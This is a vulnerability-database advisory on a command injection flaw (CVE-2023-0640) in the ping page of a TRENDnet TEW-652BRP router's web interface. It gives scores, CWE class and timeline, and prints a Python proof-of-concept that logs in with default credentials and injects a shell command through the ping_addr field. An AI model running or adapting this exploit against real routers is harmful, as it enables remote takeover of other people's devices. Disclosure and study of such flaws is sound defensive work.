TRENDnet TEW-652BRP 3.04b01 Web Interface ping.ccp command injection

| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 7.8 | $0-$5k | 0.00 |
Summary
A vulnerability labeled as critical has been found in TRENDnet TEW-652BRP 3.04b01. This impacts an unknown function of the file ping.ccp of the component Web Interface. The manipulation results in command injection. This vulnerability is known as CVE-2023-0640. It is possible to launch the attack remotely. Furthermore, an exploit is available.
Details
A vulnerability was found in TRENDnet TEW-652BRP 3.04b01. It has been classified as critical. Affected is an unknown part of the file ping.ccp of the component Web Interface. The manipulation with an unknown input leads to a command injection vulnerability. CWE is classifying the issue as CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability.
The weakness was published 02/02/2023. This vulnerability is traded as CVE-2023-0640. Technical details and a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1202.
A public exploit has been developed in Python. The exploit is shared for download at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:
import requests,socket
import re
import time
from urllib.parse import urlencode
username = 'admin'
password = 'admin'
device_web_ip = '192.168.10.1'
ping_target_ip = '192.168.10.2'
headers = {'Host': '{}'.format(device_web_ip),
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://{}'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'http://{}/ping_test.htm'.format(device_web_ip),
'Upgrade-Insecure-Requests': '1'}
login_params = 'html_response_page=login_fail.htm&login_name=&username={0}&password={1}&curr_language=0&login_n={0}&login_pass={1}&lang_select=0&login=Login'.format(username,password)
login_url = 'http://{}/login.ccp'.format(device_web_ip)
r = requests.post(url=login_url, data=login_params, headers=headers, timeout=0.2)
if r is None or r.status_code != 200:
print('Login wrong, please retry!')
exit()
params = {
'ccp_act': 'ping_v4',
'nextPage': 'ping_back.htm',
'html_response_page': 'ping_back.htm',
'html_response_message': 'The+setting+is+saved.',
'html_response_return_page': 'ping_test.htm',
'ping_addr': 'abcd"$(ping -c 1 {})"'.format(ping_target_ip),
'ping': 'Ping',
'deviceList': '',
'/friendlyName': ''
}
method = 'POST'
url = 'http://{}/ping.ccp'.format(device_web_ip)
try:
r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
except:
passThere is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
Once again VulDB remains the best source for vulnerability data.
Product
Vendor
Name
Version
License
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 8.1VulDB Meta Temp Score: 7.8
VulDB Base Score: 7.2
VulDB Temp Score: 6.5
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 9.8
NVD Vector: 🔍
CNA Base Score: 7.2
CNA Vector (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: Command injectionCWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Timeline
02/02/2023 🔍02/02/2023 🔍
02/02/2023 🔍
03/01/2023 🔍
Sources
Status: Not definedCVE: CVE-2023-0640 (🔍)
GCVE (CVE): GCVE-0-2023-0640
GCVE (VulDB): GCVE-100-220020
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 02/02/2023 09:18Updated: 03/01/2023 17:07
Changes: 02/02/2023 09:18 (39), 02/02/2023 09:19 (2), 03/01/2023 17:01 (2), 03/01/2023 17:07 (28)
Complete: 🔍
Submitter: leetsun
Cache ID: 216::103
Submit
Accepted
- Submit #77217: Command injection on TRENDnet router TEW-652BRP (by leetsun)
Once again VulDB remains the best source for vulnerability data.
No comments yet. Languages: en.
Please log in to comment.